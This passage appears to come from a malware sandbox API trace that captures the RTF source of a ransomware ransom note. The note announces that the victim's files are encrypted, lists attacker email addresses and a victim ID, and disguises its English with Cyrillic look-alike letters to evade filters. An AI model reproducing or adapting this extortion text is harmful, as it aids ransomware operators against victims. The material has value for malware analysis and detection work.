rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 